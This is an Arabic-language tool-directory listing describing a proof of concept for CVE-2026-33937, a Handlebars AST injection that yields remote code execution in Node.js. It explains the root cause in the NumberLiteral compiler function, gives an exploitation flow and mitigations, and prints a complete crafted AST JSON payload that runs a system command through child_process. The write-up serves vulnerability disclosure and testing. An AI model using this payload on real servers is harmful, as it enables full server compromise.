Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/dinhvaren/cve-2026-33937
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبتطوير الحمولات
GitHubdinhvaren/cve-2026-33937

cve-2026-33937

إثبات مفهوم لاستغلال CVE-2026-33937، وهي ثغرة حقن في شجرة الصياغة المجردة (AST) الخاصة بـ Handlebars تؤدي إلى تنفيذ تعليمات برمجية عن بُعد في Node.js. يعرض الحمولات المصممة لشجرة الصياغة المجردة ويقدم إرشادات للتخفيف من المخاطر.

عرض المستودع
4منذ 4 أشهرلم تتم المراجعة بعد
الموقع الإلكتروني

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-33937 - استغلال RCE في Handlebars (PoC)

الوصف

CVE-2026-33937 هي ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد (RCE) في Handlebars ناتجة عن معالجة غير آمنة لمدخلات شجرة البنية المجردة (AST).

تسمح الثغرة للمهاجمين بحقن تعليمات JavaScript عشوائية عن طريق توفير كائن AST مُصمم خصيصًا إلى Handlebars.compile().

السبب الجذري

يقبل Handlebars.compile() كلاً من:

  • سلسلة القالب
  • كائن AST مُحلَّل مسبقًا

عند توفير كائن AST، يتم تخطي مرحلة التحليل.

داخل:

root@kitploit:~

lib/handlebars/compiler/javascript-compiler.js

الدالة:

root@kitploit:~
NumberLiteral(number) {
  this.pushStackLiteral(number.value);
}

تُدرج number.value مباشرةً في كود JavaScript المُولَّد بدون تعقيم أو تهريب، مما يؤدي إلى حقن كود.

التأثير

  • تنفيذ التعليمات البرمجية عن بُعد (RCE)
  • اختراق كامل للخادم
  • تنفيذ JavaScript عشوائي في بيئة Node.js

سير الاستغلال

root@kitploit:~
Attacker → Crafted AST (JSON)
        │
        ▼
Handlebars.compile()
        │
        ▼
Compiler.compile()
        │
        ▼
JavaScriptCompiler (NumberLiteral injection)
        │
        ▼
Code generation
        │
        ▼
new Function(...) / eval()
        │
        ▼
       RCE

إثبات المفهوم (PoC)

root@kitploit:~
{
  "type": "Program",
  "body": [
    {
      "type": "MustacheStatement",
      "path": {
        "type": "PathExpression",
        "data": false,
        "depth": 0,
        "parts": ["lookup"],
        "original": "lookup",
        "loc": null
      },
      "params": [
        {
          "type": "PathExpression",
          "data": false,
          "depth": 0,
          "parts": [],
          "original": "this",
          "loc": null
        },
        {
          "type": "NumberLiteral",
          "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
          "original": 1,
          "loc": null
        }
      ],
      "escaped": true,
      "strip": { "open": false, "close": false },
      "loc": null
    }
  ],
  "strip": {},
  "loc": null
}

الإصدارات المتأثرة

  • Handlebars <= 4.7.8

التخفيف

  • لا تسمح بمدخلات AST غير موثوقة
  • تحقق من جميع مدخلات القوالب وعقّمها
  • قم بالترقية إلى إصدار مصحح من Handlebars

المراجع

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33937
تنزيل الأداة